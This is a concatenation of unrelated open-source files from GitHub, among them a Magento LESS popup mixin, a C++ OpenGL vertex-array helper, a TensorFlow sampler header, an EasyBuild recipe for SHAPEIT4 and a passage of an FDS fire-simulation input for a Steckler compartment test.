<dataRef name="Unknown" offset="0x10" visible="true" />
<float32 name="Unknown" offset="0x24" visible="true" />
<float32 name="Unknown" offset="0x28" visible="true" />
<stringid name="Unknown" offset="0x2C" visible="true" />
<float32 name="Unknown" offset="0x30" visible="true" />
<stringid name="Unknown" offset="0x34" visible="true" />
<float32 name="Unknown" offset="0x38" visible="true" />
<stringid name="Unknown" offset="0x3C" visible="true" />
<float32 name="Unknown" offset="0x40" visible="true" />
<stringid name="Unknown" offset="0x44" visible="true" />
<float32 name="Unknown" offset="0x48" visible="true" />
<float32 name="Unknown" offset="0x4C" visible="true" />
<float32 name="Unknown" offset="0x50" visible="true" />
<tagRef name="Unknown" offset="0x54" visible="true" />
<float32 name="Unknown" offset="0x64" visible="true" />
<float32 name="Unknown" offset="0x68" visible="true" />
<tagRef name="Unknown" offset="0x6C" visible="true" />
<float32 name="Unknown" offset="0x7C" visible="true" />
<float32 name="Unknown" offset="0x80" visible="true" />
<float32 name="Unknown" offset="0x84" visible="true" />
<float32 name="Unknown" offset="0x88" visible="true" />
<float32 name="Unknown" offset="0x8C" visible="true" />
<float32 name="Unknown" offset="0x90" visible="true" />
<float32 name="Unknown" offset="0x94" visible="true" />
<float32 name="Unknown" offset="0x98" visible="true" />
<float32 name="Unknown" offset="0x9C" visible="true" />
<float32 name="Unknown" offset="0xA0" visible="true" />
<float32 name="Unknown" offset="0xA4" visible="true" />
<float32 name="Unknown" offset="0xA8" visible="true" />
<float32 name="Origin Radius?" offset="0xAC" visible="true" />
<float32 name="Unknown" offset="0xB0" visible="true" />
<float32 name="Unknown" offset="0xB4" visible="true" />
<float32 name="Amount?" offset="0xB8" visible="true" />
<float32 name="Y Scale/Spread Min" offset="0xBC" visible="true" />
<float32 name="Y Scale/Spread Max" offset="0xC0" visible="true" />
<float32 name="X Scale/Spread Min" offset="0xC4" visible="true" />
<float32 name="X Scale/Spread Max" offset="0xC8" visible="true" />
<float32 name="Distance From Origin?" offset="0xCC" visible="true" />
<float32 name="Gravity?" offset="0xD0" visible="true" />
<float32 name="Fade Time?" offset="0xD4" visible="true" />
<float32 name="Amount?" offset="0xD8" visible="true" />
<float32 name="Primary Particle Amount" offset="0xDC" visible="true" />
<float32 name="Secondary Particle Amount" offset="0xE0" visible="true" />
<float32 name="Tertiary Particle Amount" offset="0xE4" visible="true" />
<float32 name="Quaternary Particle Amount" offset="0xE8" visible="true" />
<float32 name="Primary Particle Type?" offset="0xEC" visible="true" />
<float32 name="Secondary Particle Type?" offset="0xF0" visible="true" />
<float32 name="Tertiary Particle Particle Type?" offset="0xF4" visible="true" />
<float32 name="Quaternary Particle Type?" offset="0xF8" visible="true" />
<tagRef name="Unknown" offset="0xFC" visible="true" />
</plugin>
|
{
"pile_set_name": "Github"
}
|
// /**
// * Copyright © Magento, Inc. All rights reserved.
// * See COPYING.txt for license details.
// */
//
// Popups
// _____________________________________________
.lib-popup(
@_popup-width: @popup__width,
@_popup-height: @popup__height,
@_popup-padding: @popup__padding,
@_popup-background: @popup__background,
@_popup-border: @popup__border,
@_popup-shadow: @popup__shadow,
@_popup-fade: @popup__fade,
@_popup-z-index: @popup__z-index,
@_popup-position: @popup__position,
@_popup-position-top: @popup__position-top,
@_popup-position-right: @popup__position-right,
@_popup-position-bottom: @popup__position-bottom,
@_popup-position-left: @popup__position-left,
@_popup-margin-top: @popup__margin-top,
@_popup-margin-right: @popup__margin-right,
@_popup-margin-bottom: @popup__margin-bottom,
@_popup-margin-left: @popup__margin-left,
@_popup-content-height: @popup-content__height,
@_popup-header-margin: @popup-header__margin,
@_popup-content-margin: @popup-content__margin,
@_popup-footer-margin: @popup-footer__margin,
@_popup-title-headings: @popup-title-headings,
@_popup-title-headings-level: @popup-title-headings__level,
// Icons parameters
@_popup-button-close-icon: @popup-button-close__icon,
@_popup-button-close-reset: @popup-button-close__reset,
@_popup-button-close-position: @popup-button-close__position,
@_popup-button-close-position-top: @popup-button-close__position-top,
@_popup-button-close-position-right: @popup-button-close__position-right,
@_popup-button-close-position-bottom: @popup-button-close__position-bottom,
@_popup-button-close-position-left: @popup-button-close__position-left,
@_popup-icon-font-content: @popup-icon-font__content,
@_popup-icon-font: @popup-icon-font,
@_popup-icon-font-size: @popup-icon-font__size,
@_popup-icon-font-line-height: @popup-icon-font__line-height,
@_popup-icon-font-color: @popup-icon-font__color,
@_popup-icon-font-color-hover: @popup-icon-font__color-hover,
@_popup-icon-font-color-active: @popup-icon-font__color-active,
@_popup-icon-font-margin: @popup-icon-font__margin,
@_popup-icon-font-vertical-align: @popup-icon-font__vertical-align,
@_popup-icon-font-position: @popup-icon-font__position,
@_popup-icon-font-text-hide: @popup-icon-font__text-hide,
// Actions toolbar parameters
@_popup-actions-toolbar: @popup-actions-toolbar,
@_popup-actions-toolbar-actions-position: @popup-actions-toolbar-actions__position,
@_popup-actions-toolbar-actions-reverse: @popup-actions-toolbar-actions__reverse,
@_popup-actions-toolbar-margin: @popup-actions-toolbar__margin,
@_popup-actions-toolbar-padding: @popup-actions-toolbar__padding,
@_popup-actions-toolbar-actions-margin: @popup-actions-toolbar-actions__margin,
@_popup-actions-toolbar-primary-actions-margin: @popup-actions-toolbar-actions-primary__margin,
@_popup-actions-toolbar-secondary-actions-margin: @popup-actions-toolbar-actions-secondary__margin,
@_popup-actions-toolbar-actions-links-margin-top: @popup-actions-toolbar-actions-links__margin-top,
@_popup-actions-toolbar-primary-actions-links-margin-top: @popup-actions-toolbar-actions-links-primary__margin-top,
@_popup-actions-toolbar-secondary-actions-links-margin-top: @popup-actions-toolbar-actions-links-secondary__margin-top
) {
.lib-css(background, @_popup-background);
.lib-css(border, @_popup-border);
.lib-css(padding, @_popup-padding);
.lib-css(width, @_popup-width);
._lib-popup-height(@_popup-height);
._lib-popup-shadow(@_popup-shadow);
._lib-popup-action-toolbar(
@_popup-actions-toolbar,
@_popup-actions-toolbar-actions-position,
@_popup-actions-toolbar-actions-reverse,
@_popup-actions-toolbar-margin,
@_popup-actions-toolbar-padding,
@_popup-actions-toolbar-actions-margin,
@_popup-actions-toolbar-primary-actions-margin,
@_popup-actions-toolbar-secondary-actions-margin,
@_popup-actions-toolbar-actions-links-margin-top,
@_popup-actions-toolbar-primary-actions-links-margin-top,
@_popup-actions-toolbar-secondary-actions-links-margin-top
);
.popup-header {
.lib-css(margin, @_popup-header-margin);
.title {
._lib-popup-headings(
@_popup-title-headings,
@_popup-title-headings-level
);
}
.lib-css(padding-right, @_popup-icon-font-size)
}
.popup-content {
._lib-popup-height(@_popup-content-height);
.lib-css(margin, @_popup-content-margin);
}
.popup-footer {
.lib-css(margin, @_popup-footer-margin);
}
.popup-actions {
.action.close {
.lib-css(position, @_popup-button-close-position);
.lib-popup-button-close-icon(
@_popup-button-close-icon,
@_popup-icon-font-content,
@_popup-icon-font,
@_popup-icon-font-size,
@_popup-icon-font-line-height,
@_popup-icon-font-color,
@_popup-icon-font-color-hover,
@_popup-icon-font-color-active,
@_popup-icon-font-margin,
@_popup-icon-font-vertical-align,
@_popup-icon-font-position,
@_popup-icon-font-text-hide
);
._lib-popup-button-close-reset(
@_popup-button-close-reset
);
.lib-css(bottom, @_popup-button-close-position-bottom);
.lib-css(left, @_popup-button-close-position-left);
.lib-css(right, @_popup-button-close-position-right);
.lib-css(top, @_popup-button-close-position-top);
}
}
._lib-popup-fade(@_popup-fade);
.lib-css(bottom, @_popup-position-bottom);
.lib-css(left, @_popup-position-left);
.lib-css(margin-bottom, @_popup-margin-bottom);
.lib-css(margin-left, @_popup-margin-left);
.lib-css(margin-right, @_popup-margin-right);
.lib-css(margin-top, @_popup-margin-top);
.lib-css(position, @_popup-position);
.lib-css(right, @_popup-position-right);
.lib-css(top, @_popup-position-top);
.lib-css(z-index, @_popup-z-index);
display: none;
opacity: 0;
&.active {
opacity: 1;
}
}
.lib-window-overlay(
@_overlay-background: @overlay__background,
@_overlay-opacity: @overlay__opacity,
@_overlay-opacity-old: @overlay__opacity-old,
@_overlay-fade: @overlay__fade,
@_overlay-z-index: @overlay__z-index
) {
._lib-popup-fade(@_overlay-fade);
.lib-css(background, @_overlay-background);
.lib-css(z-index, @_overlay-z-index);
bottom: 0;
left: 0;
opacity: 0;
position: fixed;
right: 0;
top: 0;
&.active {
.lib-css(opacity, @_overlay-opacity);
& when not (@_overlay-opacity-old = false) {
filter: alpha(opacity=@_overlay-opacity-old);
}
}
}
//
// Internal use mixins
// ---------------------------------------------
// Popup fade
._lib-popup-fade(@_popup-fade) when not (@_popup-fade = '') {
.lib-css(transition, @_popup-fade);
}
// Popup shadow
._lib-popup-shadow(@_popup-shadow) when not (@_popup-shadow = '') and not (@_popup-shadow = none) {
.lib-css(box-shadow, @_popup-shadow);
}
// Popup height
._lib-popup-height(@_popup-height) when not (@_popup-height = auto) {
overflow-y: auto;
.lib-css(max-height, @_popup-height);
}
// Popup Headings
._lib-popup-headings(
@_popup-title-headings,
@_popup-title-headings-level
) when (@_popup-title-headings = true) and (@_popup-title-headings-level = h1) {
.lib-heading(h1);
}
._lib-popup-headings(
@_popup-title-headings,
@_popup-title-headings-level
) when (@_popup-title-headings = true) and (@_popup-title-headings-level = h2) {
.lib-heading(h2);
}
._lib-popup-headings(
@_popup-title-headings,
@_popup-title-headings-level
) when (@_popup-title-headings = true) and (@_popup-title-headings-level = h3) {
.lib-heading(h3);
}
._lib-popup-headings(
@_popup-title-headings,
@_popup-title-headings-level
) when (@_popup-title-headings = true) and (@_popup-title-headings-level = h4) {
.lib-heading(h4);
}
._lib-popup-headings(
@_popup-title-headings,
@_popup-title-headings-level
) when (@_popup-title-headings = true) and (@_popup-title-headings-level = h5) {
.lib-heading(h5);
}
._lib-popup-headings(
@_popup-title-headings,
@_popup-title-headings-level
) when (@_popup-title-headings = true) and (@_popup-title-headings-level = h6) {
.lib-heading(h6);
}
// Popup action-toolbar
._lib-popup-action-toolbar(
@_popup-actions-toolbar,
@_popup-actions-toolbar-actions-position,
@_popup-actions-toolbar-actions-reverse,
@_popup-actions-toolbar-margin,
@_popup-actions-toolbar-padding,
@_popup-actions-toolbar-actions-margin,
@_popup-actions-toolbar-primary-actions-margin,
@_popup-actions-toolbar-secondary-actions-margin,
@_popup-actions-toolbar-actions-links-margin-top,
@_popup-actions-toolbar-primary-actions-links-margin-top,
@_popup-actions-toolbar-secondary-actions-links-margin-top
) when (@_popup-actions-toolbar = true) {
.popup-footer {
.actions.toolbar {
.lib-actions-toolbar(
@_actions-toolbar-actions-position: @_popup-actions-toolbar-actions-position,
@_actions-toolbar-actions-reverse: @_popup-actions-toolbar-actions-reverse,
@_actions-toolbar-margin: @_popup-actions-toolbar-margin,
@_actions-toolbar-padding: @_popup-actions-toolbar-padding,
@_actions-toolbar-actions-margin: @_popup-actions-toolbar-actions-margin,
@_actions-toolbar-primary-actions-margin: @_popup-actions-toolbar-primary-actions-margin,
@_actions-toolbar-secondary-actions-margin: @_popup-actions-toolbar-secondary-actions-margin,
@_actions-toolbar-actions-links-margin-top: @_popup-actions-toolbar-actions-links-margin-top,
@_actions-toolbar-primary-actions-links-margin-top: @_popup-actions-toolbar-primary-actions-links-margin-top,
@_actions-toolbar-secondary-actions-links-margin-top: @_popup-actions-toolbar-secondary-actions-links-margin-top
);
}
}
}
// Popup close button use icon
.lib-popup-button-close-icon(
@_popup-button-close-icon,
@_popup-icon-font-content,
@_popup-icon-font,
@_popup-icon-font-size,
@_popup-icon-font-line-height,
@_popup-icon-font-color,
@_popup-icon-font-color-hover,
@_popup-icon-font-color-active,
@_popup-icon-font-margin,
@_popup-icon-font-vertical-align,
@_popup-icon-font-position,
@_popup-icon-font-text-hide
) when (@_popup-button-close-icon = true) {
.lib-button-icon(
@_icon-font-content: @_popup-icon-font-content,
@_icon-font: @_popup-icon-font,
@_icon-font-size: @_popup-icon-font-size,
@_icon-font-line-height: @_popup-icon-font-line-height,
@_icon-font-color: @_popup-icon-font-color,
@_icon-font-color-hover: @_popup-icon-font-color-hover,
@_icon-font-color-active: @_popup-icon-font-color-active,
@_icon-font-margin: @_popup-icon-font-margin,
@_icon-font-vertical-align: @_popup-icon-font-vertical-align,
@_icon-font-position: @_popup-icon-font-position,
@_icon-font-text-hide: @_popup-icon-font-text-hide
);
}
// Popup close button reset
._lib-popup-button-close-reset (
@_popup-button-close-reset
) when (@_popup-button-close-reset = true) {
.lib-button-reset();
}
|
{
"pile_set_name": "Github"
}
|
/**
* This header is generated by class-dump-z 0.2b.
*
* Source: /System/Library/PrivateFrameworks/Preferences.framework/Preferences
*/
/*@protocol UIPopoverControllerDelegate <NSObject>
@optional
- (BOOL)popoverControllerShouldDismissPopover:(id)popoverController;
- (void)popoverControllerDidDismissPopover:(id)popoverController;
@end*/
|
{
"pile_set_name": "Github"
}
|
/****************************************************************
* Licensed to the Apache Software Foundation (ASF) under one *
* or more contributor license agreements. See the NOTICE file *
* distributed with this work for additional information *
* regarding copyright ownership. The ASF licenses this file *
* to you under the Apache License, Version 2.0 (the *
* "License"); you may not use this file except in compliance *
* with the License. You may obtain a copy of the License at *
* *
* http://www.apache.org/licenses/LICENSE-2.0 *
* *
* Unless required by applicable law or agreed to in writing, *
* software distributed under the License is distributed on an *
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY *
* KIND, either express or implied. See the License for the *
* specific language governing permissions and limitations *
* under the License. *
****************************************************************/
package org.apache.james.transport;
import java.io.Serializable;
import java.security.cert.CertPath;
import java.security.cert.X509Certificate;
public class SMIMESignerInfo implements Serializable {
private static final long serialVersionUID = 1L;
public X509Certificate signerCertificate;
public CertPath certPath;
public boolean valid = false;
public SMIMESignerInfo(X509Certificate signerCertificate, CertPath certPath, boolean valid) {
this.signerCertificate = signerCertificate;
this.certPath = certPath;
this.valid = valid;
}
public X509Certificate getSignerCertificate() {
return signerCertificate;
}
public CertPath getCertPath() {
return certPath;
}
public boolean isSignValid() {
return valid;
}
}
|
{
"pile_set_name": "Github"
}
|
namespace varray
{
#ifndef VARRAY_INTERNAL
enum
{
ATTRIB_VERTEX = 1<<0,
ATTRIB_COLOR = 1<<1,
ATTRIB_NORMAL = 1<<2,
ATTRIB_TEXCOORD0 = 1<<3,
ATTRIB_TEXCOORD1 = 1<<4,
MAXATTRIBS = 5
};
extern vector<uchar> data;
extern void enable();
extern void begin(GLenum mode);
extern void defattrib(int type, int size, GLenum format);
template<class T>
static inline void attrib(T x)
{
T *buf = (T *)data.pad(sizeof(T));
buf[0] = x;
}
template<class T>
static inline void attrib(T x, T y)
{
T *buf = (T *)data.pad(2*sizeof(T));
buf[0] = x;
buf[1] = y;
}
template<class T>
static inline void attrib(T x, T y, T z)
{
T *buf = (T *)data.pad(3*sizeof(T));
buf[0] = x;
buf[1] = y;
buf[2] = z;
}
template<class T>
static inline void attrib(T x, T y, T z, T w)
{
T *buf = (T *)data.pad(4*sizeof(T));
buf[0] = x;
buf[1] = y;
buf[2] = z;
buf[3] = w;
}
template<size_t N, class T>
static inline void attribv(const T *v)
{
data.put((const uchar *)v, N*sizeof(T));
}
extern int end();
extern void disable();
#else
struct attribinfo
{
int type, size, formatsize, offset;
GLenum format;
attribinfo() : type(0), size(0), formatsize(0), offset(0), format(GL_FALSE) {}
bool operator==(const attribinfo &a) const
{
return type == a.type && size == a.size && format == a.format && offset == a.offset;
}
bool operator!=(const attribinfo &a) const
{
return type != a.type || size != a.size || format != a.format || offset != a.offset;
}
};
vector<uchar> data;
static attribinfo attribs[MAXATTRIBS], lastattribs[MAXATTRIBS];
static int enabled = 0, numattribs = 0, attribmask = 0, numlastattribs = 0, lastattribmask = 0, vertexsize = 0, lastvertexsize = 0;
static GLenum primtype = GL_TRIANGLES;
static uchar *lastbuf = NULL;
static bool changedattribs = false;
void enable()
{
enabled = 0;
numlastattribs = lastattribmask = lastvertexsize = 0;
lastbuf = NULL;
}
void begin(GLenum mode)
{
primtype = mode;
}
void defattrib(int type, int size, GLenum format)
{
if(type == ATTRIB_VERTEX)
{
numattribs = attribmask = 0;
vertexsize = 0;
}
changedattribs = true;
attribmask |= type;
attribinfo &a = attribs[numattribs++];
a.type = type;
a.size = size;
a.format = format;
switch(format)
{
case GL_UNSIGNED_BYTE: a.formatsize = 1; break;
case GL_BYTE: a.formatsize = 1; break;
case GL_UNSIGNED_SHORT: a.formatsize = 2; break;
case GL_SHORT: a.formatsize = 2; break;
case GL_UNSIGNED_INT: a.formatsize = 4; break;
case GL_INT: a.formatsize = 4; break;
case GL_FLOAT: a.formatsize = 4; break;
case GL_DOUBLE: a.formatsize = 8; break;
default: a.formatsize = 0; break;
}
a.formatsize *= size;
a.offset = vertexsize;
vertexsize += a.formatsize;
}
static inline void setattrib(const attribinfo &a, uchar *buf)
{
switch(a.type)
{
case ATTRIB_VERTEX:
if(!(enabled&a.type)) glEnableClientState(GL_VERTEX_ARRAY);
glVertexPointer(a.size, a.format, vertexsize, buf);
break;
case ATTRIB_COLOR:
if(!(enabled&a.type)) glEnableClientState(GL_COLOR_ARRAY);
glColorPointer(a.size, a.format, vertexsize, buf);
break;
case ATTRIB_NORMAL:
if(!(enabled&a.type)) glEnableClientState(GL_NORMAL_ARRAY);
glNormalPointer(a.format, vertexsize, buf);
break;
case ATTRIB_TEXCOORD0:
if(!(enabled&a.type)) glEnableClientState(GL_TEXTURE_COORD_ARRAY);
glTexCoordPointer(a.size, a.format, vertexsize, buf);
break;
case ATTRIB_TEXCOORD1:
glClientActiveTexture_(GL_TEXTURE1_ARB);
if(!(enabled&a.type)) glEnableClientState(GL_TEXTURE_COORD_ARRAY);
glTexCoordPointer(a.size, a.format, vertexsize, buf);
glClientActiveTexture_(GL_TEXTURE0_ARB);
break;
}
enabled |= a.type;
}
static inline void unsetattrib(const attribinfo &a)
{
switch(a.type)
{
case ATTRIB_VERTEX:
glDisableClientState(GL_VERTEX_ARRAY);
break;
case ATTRIB_COLOR:
glDisableClientState(GL_COLOR_ARRAY);
break;
case ATTRIB_NORMAL:
glDisableClientState(GL_NORMAL_ARRAY);
break;
case ATTRIB_TEXCOORD0:
glDisableClientState(GL_TEXTURE_COORD_ARRAY);
break;
case ATTRIB_TEXCOORD1:
glClientActiveTexture_(GL_TEXTURE1_ARB);
glDisableClientState(GL_TEXTURE_COORD_ARRAY);
glClientActiveTexture_(GL_TEXTURE0_ARB);
break;
}
enabled &= ~a.type;
}
int end()
{
if(data.empty()) return 0;
uchar *buf = data.getbuf();
bool forceattribs = numattribs != numlastattribs || vertexsize != lastvertexsize || buf != lastbuf;
if(forceattribs || changedattribs)
{
int diffmask = enabled & lastattribmask & ~attribmask;
if(diffmask) loopi(numlastattribs)
{
const attribinfo &a = lastattribs[i];
if(diffmask & a.type) unsetattrib(a);
}
uchar *src = buf;
loopi(numattribs)
{
const attribinfo &a = attribs[i];
if(forceattribs || a != lastattribs[i])
{
setattrib(a, src);
lastattribs[i] = a;
}
src += a.formatsize;
}
lastbuf = buf;
numlastattribs = numattribs;
lastattribmask = attribmask;
lastvertexsize = vertexsize;
changedattribs = false;
}
int numvertexes = data.length()/vertexsize;
glDrawArrays(primtype, 0, numvertexes);
data.setsize(0);
return numvertexes;
}
void disable()
{
if(!enabled) return;
if(enabled&ATTRIB_VERTEX) glDisableClientState(GL_VERTEX_ARRAY);
if(enabled&ATTRIB_COLOR) glDisableClientState(GL_COLOR_ARRAY);
if(enabled&ATTRIB_NORMAL) glDisableClientState(GL_NORMAL_ARRAY);
if(enabled&ATTRIB_TEXCOORD0) glDisableClientState(GL_TEXTURE_COORD_ARRAY);
if(enabled&ATTRIB_TEXCOORD1)
{
glClientActiveTexture_(GL_TEXTURE1_ARB);
glDisableClientState(GL_TEXTURE_COORD_ARRAY);
glClientActiveTexture_(GL_TEXTURE0_ARB);
}
enabled = 0;
}
#endif
}
|
{
"pile_set_name": "Github"
}
|
<?php
namespace oasis\names\specification\ubl\schema\xsd\CommonAggregateComponents_2;
/**
* @xmlNamespace urn:oasis:names:specification:ubl:schema:xsd:CommonAggregateComponents-2
* @xmlType DocumentDistributionType
* @xmlName DocumentDistribution
* @var oasis\names\specification\ubl\schema\xsd\CommonAggregateComponents_2\DocumentDistribution
*/
class DocumentDistribution
extends DocumentDistributionType
{
} // end class DocumentDistribution
|
{
"pile_set_name": "Github"
}
|
/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
// DistributionSampler allows generating a discrete random variable with a given
// distribution.
// The values taken by the variable are [0, N) and relative weights for each
// value are specified using a vector of size N.
//
// The Algorithm takes O(N) time to precompute data at construction time and
// takes O(1) time (2 random number generation, 2 lookups) for each sample.
// The data structure takes O(N) memory.
//
// In contrast, util/random/weighted-picker.h provides O(lg N) sampling.
// The advantage of that implementation is that weights can be adjusted
// dynamically, while DistributionSampler doesn't allow weight adjustment.
//
// The algorithm used is Walker's Aliasing algorithm, described in Knuth, Vol 2.
#ifndef TENSORFLOW_LIB_RANDOM_DISTRIBUTION_SAMPLER_H_
#define TENSORFLOW_LIB_RANDOM_DISTRIBUTION_SAMPLER_H_
#include <memory>
#include <utility>
#include "tensorflow/core/lib/gtl/array_slice.h"
#include "tensorflow/core/lib/random/simple_philox.h"
#include "tensorflow/core/platform/logging.h"
#include "tensorflow/core/platform/macros.h"
#include "tensorflow/core/platform/types.h"
namespace tensorflow {
namespace random {
class DistributionSampler {
public:
explicit DistributionSampler(const gtl::ArraySlice<float>& weights);
~DistributionSampler() {}
int Sample(SimplePhilox* rand) const {
float r = rand->RandFloat();
// Since n is typically low, we don't bother with UnbiasedUniform.
int idx = rand->Uniform(num_);
if (r < prob(idx)) return idx;
// else pick alt from that bucket.
DCHECK_NE(-1, alt(idx));
return alt(idx);
}
int num() const { return num_; }
private:
float prob(int idx) const {
DCHECK_LT(idx, num_);
return data_[idx].first;
}
int alt(int idx) const {
DCHECK_LT(idx, num_);
return data_[idx].second;
}
void set_prob(int idx, float f) {
DCHECK_LT(idx, num_);
data_[idx].first = f;
}
void set_alt(int idx, int val) {
DCHECK_LT(idx, num_);
data_[idx].second = val;
}
int num_;
std::unique_ptr<std::pair<float, int>[]> data_;
TF_DISALLOW_COPY_AND_ASSIGN(DistributionSampler);
};
} // namespace random
} // namespace tensorflow
#endif // TENSORFLOW_LIB_RANDOM_DISTRIBUTION_SAMPLER_H_
|
{
"pile_set_name": "Github"
}
|
easyblock = "MakeCp"
name = 'SHAPEIT4'
version = '4.1.3'
homepage = 'https://odelaneau.github.io/shapeit4/'
description = """
SHAPEIT4 is a fast and accurate method for estimation of haplotypes
(aka phasing) for SNP array and high coverage sequencing data.
"""
toolchain = {'name': 'foss', 'version': '2019b'}
toolchainopts = {'opt': True, 'cstd': 'std=c++11'}
github_account = 'odelaneau'
source_urls = [GITHUB_SOURCE]
sources = ['v%(version)s.tar.gz']
patches = ['SHAPEIT4_use_EB_settings.patch']
checksums = [
'd209731277b00bca1e3478b7e0a0cbe40fbe23826c3d640ad12e0dd6033cbbb8', # v4.1.3.tar.gz
'a10cd98b61eae90228ab2e7a9b6071803037f7e7dcdc7ad47b91bf1a1a102743', # SHAPEIT4_use_EB_settings.patch
]
dependencies = [
('zlib', '1.2.11'),
('bzip2', '1.0.8'),
('XZ', '5.2.4'),
('Boost', '1.71.0'),
('HTSlib', '1.10.2'),
]
buildopts = 'HTSLIB_INC="$EBROOTHTSLIB/include" HTSLIB_LIB=-lhts '
buildopts += 'BOOST_INC="$EBROOTBOOST/include" BOOST_LIB_IO=-lboost_iostreams BOOST_LIB_PO=-lboost_program_options'
files_to_copy = [(['bin/shapeit4'], 'bin'), 'maps']
sanity_check_paths = {
'files': ["bin/shapeit4"],
'dirs': ['maps']
}
moduleclass = 'bio'
|
{
"pile_set_name": "Github"
}
|
&HEAD CHID='Steckler_540', TITLE='Steckler Compartment, Test 540'/
&MESH IJK=72,56,44, XB=0.00,3.60,-1.40,1.40,0.00,2.13 /
&TIME T_END=1800.0, TIME_SHRINK_FACTOR=10. /
&DUMP NFRAMES=100, DT_DEVC=10., DT_DEVC_LINE=10., DT_HRR=10., SIG_FIGS=4, SIG_FIGS_EXP=2 /
&MISC TMPA=13. /
SURF ID='BURNER',HRRPUA= 526.7,TMP_FRONT=100.,COLOR='ORANGE' / 31.6 kW
&SURF ID='BURNER',HRRPUA=1048.3,TMP_FRONT=100.,COLOR='ORANGE' / 62.9 kW
SURF ID='BURNER',HRRPUA=1755.0,TMP_FRONT=100.,COLOR='ORANGE' / 105.3 kW
SURF ID='BURNER',HRRPUA=2633.3,TMP_FRONT=100.,COLOR='ORANGE' / 158.0 kW
HOLE XB=2.75,2.95,-0.12,0.12,0.00,1.83 / 2/6 Door
HOLE XB=2.75,2.95,-0.18,0.18,0.00,1.83 / 3/6 Door
HOLE XB=2.75,2.95,-0.25,0.25,0.00,1.83 / 4/6 Door
HOLE XB=2.75,2.95,-0.31,0.31,0.00,1.83 / 5/6 Door
HOLE XB=2.75,2.95,-0.37,0.37,0.00,1.83 / 6/6 Door
&HOLE XB=2.75,2.95,-0.43,0.43,0.00,1.83 / 7/6 Door
HOLE XB=2.75,2.95,-0.50,0.50,0.00,1.83 / 8/6 Door
HOLE XB=2.75,2.95,-0.37,0.37,1.37,1.83 / 1/3 Window
HOLE XB=2.75,2.95,-0.37,0.37,0.91,1.83 / 2/3 Window
HOLE XB=2.75,2.95,-0.37,0.37,0.45,1.83 / 3/3 Window
VENT XB=1.30,1.50,-0.10,0.10,0.00,0.00, SURF_ID='BURNER' / Position A
VENT XB=1.25,1.30,-0.05,0.05,0.00,0.00, SURF_ID='BURNER' /
VENT XB=1.50,1.55,-0.05,0.05,0.00,0.00, SURF_ID='BURNER' /
VENT XB=1.35,1.45,-0.15,-.10,0.00,0.00, SURF_ID='BURNER' /
VENT XB=1.35,1.45, 0.10,0.15,0.00,0.00, SURF_ID='BURNER' /
VENT XB=0.15,0.35,-1.30,-1.10,0.00,0.00, SURF_ID='BURNER' / Position B
VENT XB=0.10,0.15,-1.25,-1.15,0.00,0.00, SURF_ID='BURNER' /
VENT XB=0.35,0.40,-1.25,-1.15,0.00,0.00, SURF_ID='BURNER' /
VENT XB=0.20,0.30,-1.35,-1.30,0.00,0.00, SURF_ID='BURNER' /
VENT XB=0.20,0.30,-1.10,-1.05,0.00,0.00, SURF_ID='BURNER' /
&VENT XB=0.15,0.35,-0.10,0.10,0.00,0.00, SURF_ID='BURNER' / Position C
&VENT XB=0.10,0.15,-0.05,0.05,0.00,0.00, SURF_ID='BURNER' /
&VENT XB=0.35,0.40,-0.05,0.05,0.00,0.00, SURF_ID='BURNER' /
&VENT XB=0.20,0.30,-0.15,-.10,0.00,0.00, SURF_ID='BURNER' /
&VENT XB=0.20,0.30, 0.10,0.15,0.00,0.00, SURF_ID='BURNER' /
OBST XB=1.15,1.65,-0.20,0.20,0.00,0.30, SURF_ID='FIBER BOARD' / Position AR
VENT XB=1.30,1.50,-0.10,0.10,0.30,0.30, SURF_ID='BURNER' /
VENT XB=1.25,1.30,-0.05,0.05,0.30,0.30, SURF_ID='BURNER' /
VENT XB=1.50,1.55,-0.05,0.05,0.30,0.30, SURF_ID='BURNER' /
VENT XB=1.35,1.45,-0.15,-.10,0.30,0.30, SURF_ID='BURNER' /
VENT XB=1.35,1.45, 0.10,0.15,0.30,0.30, SURF_ID='BURNER' /
OBST XB=0.00,0.50,-1.40,-1.00,0.00,0.30, SURF_ID='FIBER BOARD' / Position BR
VENT XB=0.15,0.35,-1.30,-1.10,0.30,0.30, SURF_ID='BURNER' /
VENT XB=0.10,0.15,-1.25,-1.15,0.30,0.30, SURF_ID='BURNER' /
VENT XB=0.35,0.40,-1.25,-1.15,0.30,0.30, SURF_ID='BURNER' /
VENT XB=0.20,0.30,-1.35,-1.30,0.30,0.30, SURF_ID='BURNER' /
VENT XB=0.20,0.30,-1.10,-1.05,0.30,0.30, SURF_ID='BURNER' /
OBST XB=0.00,0.50,-0.20,0.20,0.00,0.30, SURF_ID='FIBER BOARD' / Position CR
VENT XB=0.15,0.35,-0.10,0.10,0.30,0.30, SURF_ID='BURNER' /
VENT XB=0.10,0.15,-0.05,0.05,0.30,0.30, SURF_ID='BURNER' /
VENT XB=0.35,0.40,-0.05,0.05,0.30,0.30, SURF_ID='BURNER' /
VENT XB=0.20,0.30,-0.15,-.10,0.30,0.30, SURF_ID='BURNER' /
VENT XB=0.20,0.30, 0.10,0.15,0.30,0.30, SURF_ID='BURNER' /
OBST XB=1.15,1.65,-1.40,-1.00,0.00,0.30, SURF_ID='FIBER BOARD' / Position DR
VENT XB=1.30,1.50,-1.30,-1.10,0.30,0.30, SURF_ID='BURNER' /
VENT XB=1.25,1.30,-1.25,-1.15,0.30,0.30, SURF_ID='BURNER' /
VENT XB=1.50,1.55,-1.25,-1.15,0.30,0.30, SURF_ID='BURNER' /
VENT XB=1.35,1.45,-1.35,-1.30,0.30,0.30, SURF_ID='BURNER' /
VENT XB=1.35,1.45,-1.10,-1.05,0.30,0.30, SURF_ID='BURNER' /
OBST XB=1.15,1.65, 1.00, 1.40,0.00,0.30, SURF_ID='FIBER BOARD' / Position ER
VENT XB=1.30,1.50, 1.10, 1.30,0.30,0.30, SURF_ID='BURNER' /
VENT XB=1.25,1.30, 1.15, 1.25,0.30,0.30, SURF_ID='BURNER' /
VENT XB=1.50,1.55, 1.15, 1.25,0.30,0.30, SURF_ID='BURNER' /
